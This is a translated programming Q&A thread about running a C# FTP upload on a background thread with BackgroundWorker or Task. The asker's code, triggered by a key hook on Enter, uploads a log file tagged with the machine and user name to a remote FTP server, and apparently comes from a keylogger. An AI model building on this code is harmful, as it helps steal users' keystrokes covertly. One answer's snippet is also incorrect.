2013-05-01 44 views
1

我无法搞清楚如何线程我的FTP上传脚本。我试图从C#控制台应用程序上传它。我不喜欢它在上传时冻结应用程序的事实。我听说过使用“背景工作者”,但我完全不知道如何设置它。我一直在寻找一段时间。你可以给我一个例子吗?谢谢。线程FTP上传c#

if ((Keys)vkCode == Keys.Enter) 
{ 
         //~~~ Enter Key pressed ~~~ // 
          string ftpsrc = Application.StartupPath + @"/logs/log.txt"; 
          FtpWebRequest request2 = (FtpWebRequest)WebRequest.Create("ftp://server.com" + System.Environment.MachineName + "___" + System.Environment.UserName + @"/" + "log.txt"); 
            request2.Method = WebRequestMethods.Ftp.UploadFile; 
            request2.Credentials = new NetworkCredential("username", "password"); 
            StreamReader sourceStream2 = new StreamReader(ftpsrc); 
            byte[] fileContents2 = Encoding.UTF8.GetBytes(sourceStream2.ReadToEnd()); 
            sourceStream2.Close(); 
            request2.ContentLength = fileContents2.Length; 
            Stream requestStream2 = request2.GetRequestStream(); 
            requestStream2.Write(fileContents2, 0, fileContents2.Length); 
            requestStream2.Close(); 
            FtpWebResponse response2 = (FtpWebResponse)request2.GetResponse(); 
            response2.Close(); 


          //~~~ End Enter Key ~~~// 
         } 

回答

3

这样做是使用像一个BackgroundWorker这将使你在执行访问像进度事件的事情,以及控制的一个非常简单的方法。这种方法可以让你的UI线程完全脱离FTP上传的逻辑。无论上传花费多长时间,您的用户界面的响应度都会很高。

现在多线程的实际上传是另一回事。如果这就是你需要将信息分解成相等的部分并在FTP端重新组装的部分,但这也意味着要编写一个自定义的ftp服务器。

看看这里是什么BackgroundWorker的是以及如何使用它的完整解释: http://msdn.microsoft.com/en-us/library/system.componentmodel.backgroundworker.aspx

编辑::

确定,所以回答你的问题在有关评论如何设置backgroundworker在输入键上执行。看看上面的文档,以获得如何使用背景工作的一般依据。

你会想改变你设置的backgroundworker的RunWorkerAsync()方法你当前的钥匙钩。 BackgroundWorker的DoWork方法应该是您当前在关键钩子中所拥有的方法。

BG.DoWork += YourUploadFunction(); 

    if ((Keys)vkCode == Keys.Enter) 
    { 
     //~~~ Enter Key pressed ~~~ // 
     BG.RunWorkerAsync(); 
    } 

要初始化BackgroundWorker做到这一点:

BackgroundWorker BG = new BackgroundWorker(); 
    BG.DoWork += new DoWorkEventHandler(BG_DoWork); 

DoWorkEventHandler允许进行新的处理程序来控制哪些功能/ s的BG就行了。这方面的一个例子是:

private void BG_DoWork(object sender, DoWorkEventArgs e) 
    { 
     YourUploadFunctions(); 
    } 

但是你会想要做的BackgroundWorker的初始化只有一次,这样你就不会对它有多个实例。同样,一旦DoWork事件已经建立,它不需要再次完成。 `

+0

我听说过使用后台工作器..你能给我一个背景工作的例子,当使用回车键时会调用它吗?例如if((Keys)vkCode == Keys.Enter) {// stuffs} – 2013-05-01 00:44:30

+0

@Chris_Bogausch检查我的编辑。 – Nomad101 2013-05-01 00:48:42

+0

非常感谢!我正在寻找一个实际的例子。我只是一个试图学习一些C#的小白。我感谢你帮助我!如果我需要帮助,请联系我。 – 2013-05-01 00:56:59

0

BackgroundWorkers将为此工作很好,另一个选项是Task类。你可以在这里阅读Task Class。有一个如何在页面上实现它的例子。同样取决于你使用的是什么版本的.net框架,你也可以看看这里显示的异步和等待async await